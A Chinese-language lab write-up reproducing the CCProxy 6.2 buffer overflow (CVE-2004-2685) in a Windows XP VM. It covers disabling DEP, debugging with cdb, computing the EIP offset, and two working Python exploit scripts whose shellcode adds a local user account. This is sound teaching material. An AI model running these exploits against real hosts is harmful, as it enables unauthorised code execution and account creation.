CCProxy6.2溢出漏洞
虚拟机:VirtualBox 6.1.30
操作系统:WindowsXP SP2
主机OS:Microsoft Windows10
CVE编号:CVE-2004-2685@author:2021届沈计所 Sen.W
- 安装共享文件夹
按照下面箭头指向程序,然后再虚拟机设置中自动挂载一个主机的共享文件夹
2. 关闭winxp的DEP
- 使系统显示C:\boot.ini
- 修改DEP选项
-
查询虚拟机IP并连接ccproxy
- 命令提示符中输入
ipconfig
可以获得ip地址,或者使用127.0.0.1
- 在命令提示符中
telnet 你的虚拟机IP地址 23
- 命令提示符中输入
-
进行崩溃测试
- ping输入10个a和2000个a
- ping输入10个a和2000个a
-
安装cdb并用命令提示符打开其所在目录
- 在目标主机上运行CCProxy
- 运行
cdb –pn ccproxy.exe
-
在cdb运行界面输入g,然后重新开启一个cmd,如上面第三步连接到ccproxy上,ping2000个A后,cdb页面可获取到访问非法事件(access violation)
-
我们可以发现esp和esi寄存器也被我们所掌控
-
计算返回地址的思路
利用一串不重复的字符填充缓冲区,然后查看覆盖RET的字符串,计算它们在整个字符串中的位置,从而得出缓冲区的大小及RET的偏移- 安装Perl,替换lib(不是删除,而是替换全部)
- 生成2000个模式字符
C: \Perl\bin> perl.exe patternCreate.pl 1.txt 2000
- ping这2000个模式字符
- 计算eip的值在整个长为2000的字符串中的偏移
C: \Perl\bin> perl.exe patternOffset.pl 68423768 2000
得到结果1012
- dbg命令提示符挂起CCProxy进程后查询jmp esp命令地址
- 安装Perl,替换lib(不是删除,而是替换全部)
-
使用指向jmp esp命令的地址覆盖返回地址,再把shellcode放置在程序执行JMP ESP指令时ESP指向的地址处,即完成攻击
- 生成1012个字符:
perl.exe patternCreate.pl 1012.txt 1012
- 再次运行并输入2000个字符,计算程序崩溃时,esp指向的位置内容
perl.exe patternOffset.pl 61413161 2000
可以得到偏移为为4
- 生成1012个字符:
-
构造命令字符串
思路:在1012处的后四个字节为指令的返回地址,将指令的返回地址覆盖为jmp esp
,此时的esp指向的是输入字符串的第四个字节,所以在第四个字节开始填充shellcode即可
- 在ccproxy下的指令:ping + 空格
- 使用4个
\90
填充到esp所指向的指令首地址 - 填充shellcode(增加账户a的shellcode为80个字节)
- 使用(1012 - 80- 4)个
\90
填充到第1012处 - 使用jmp esp命令的地址
\x12\x45\xfa\x7f
覆盖返回地址 - 使用91个
\90
填充到第1107处,如果只填充到1106处不可溢出
import socket
import os
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23)) #telnet用的是23端口
s = sock.recv(2022) # 设置接受对方发送的数据字节数量
# 下面80个字符shellcode具有增加a帐户的功能
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'
jmpesp = b'\x12\x45\xfa\x7f'
sendStr = b'ping ' + b'\x90'*4 + shellcode + b'\x90'*(1012-80-4)+ \
jmpesp + b'\x90'* 91
# 最好填充91个nop原因:命令字符串长度为1107可以溢出,在1106不可溢出,why?
sock.send(sendStr) #发送shellcode
sock.send(b'\r\n')
s = sock.recv(2022)
print(s)
- 其他构造
# 该构造比较短,但是也可以触发CVE漏洞,但是jmp和返回地址后的填充字符串无法解释
import socket
import os
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23)) #telnet用的是23端口
s = sock.recv(2022) # 设置接受对方发送的数据字节数量
print(s)
# 构造shellcode
sendStr = b'ping ' + b'\x90'*4 # 该漏洞的esp就是指向第四个字节
jmp= b'\xE9\x03\xFC\xFF\xFF\x90\x90\x90' #从0x012E6700跳到0x012E6308
# shellcode作用是在本地增加一个a帐户
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0'
# 为了覆盖返回地址的填充
padding = b'a'*920
#jmpesp = b'\x12\x45\xfa\x7f' # 指向jmp esp指令的地址0x7ffa4512覆盖ret
jmpesp = b'\xed\x1e\x96\x7c'
# 末尾至少填充16个字符
sendStr = sendStr+jmp+shellcode+padding+jmpesp +b'a'*16
sock.send(sendStr) #发送shellcode
sock.send(b'\n')
s = sock.recv(2022)
print(s)
- 攻击实现
漏洞原因https://blog.csdn.net/m0_46161993/article/details/106255148
CCProxy 6.2 溢出漏洞分析https://blog.csdn.net/daoyikong_x18/article/details/22860717
关闭数据执行保护https://blog.csdn.net/weixin_34078749/article/details/119230382
ps://blog.csdn.net/daoyikong_x18/article/details/22860717
关闭数据执行保护https://blog.csdn.net/weixin_34078749/article/details/119230382